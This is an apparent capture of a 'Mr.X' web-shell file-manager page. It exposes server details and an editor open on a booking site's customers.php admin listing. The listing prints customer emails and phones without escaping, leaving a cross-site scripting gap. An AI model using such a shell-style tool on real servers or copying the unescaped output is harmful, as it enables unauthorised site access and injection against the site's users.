🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:customers.php
<?php define('PAGE_TITLE', 'Customers'); require_once 'includes/header.php'; $customers = $conn->query("SELECT c.*, (SELECT COUNT(*) FROM bookings WHERE customer_id=c.id) as total_bookings, (SELECT COALESCE(SUM(total_price),0) FROM bookings WHERE customer_id=c.id AND status NOT IN ('cancelled')) as total_spent FROM customers c ORDER BY c.id DESC")->fetch_all(MYSQLI_ASSOC); ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h4 class="fw-bold text-navy mb-0"><i class="bi bi-people text-warning me-2"></i>Customers</h4> <a href="customer-export.php" class="btn btn-sm btn-outline-premium"><i class="bi bi-download me-1"></i>Export CSV</a> </div> <div class="premium-card p-4"> <table class="table table-hover datatable"> <thead><tr><th>ID</th><th>Name</th><th>Email</th><th>Phone</th><th>Bookings</th><th>Total Spent</th><th>Joined</th><th>Status</th></tr></thead> <tbody><?php foreach ($customers as $c): ?> <tr><td><?= $c['id'] ?></td><td><?= htmlspecialchars($c['name']) ?></td><td><?= $c['email'] ?></td><td><?= $c['phone'] ?></td> <td><span class="badge bg-info"><?= $c['total_bookings'] ?></span></td><td><?= formatPrice($c['total_spent']) ?></td> <td><small><?= date('d M Y', strtotime($c['created_at'])) ?></small></td><td><?= $c['status']?'<span class="badge bg-success">Active</span>':'<span class="badge bg-danger">Inactive</span>' ?></td></tr> <?php endforeach; ?></tbody> </table> </div> <?php require_once 'includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder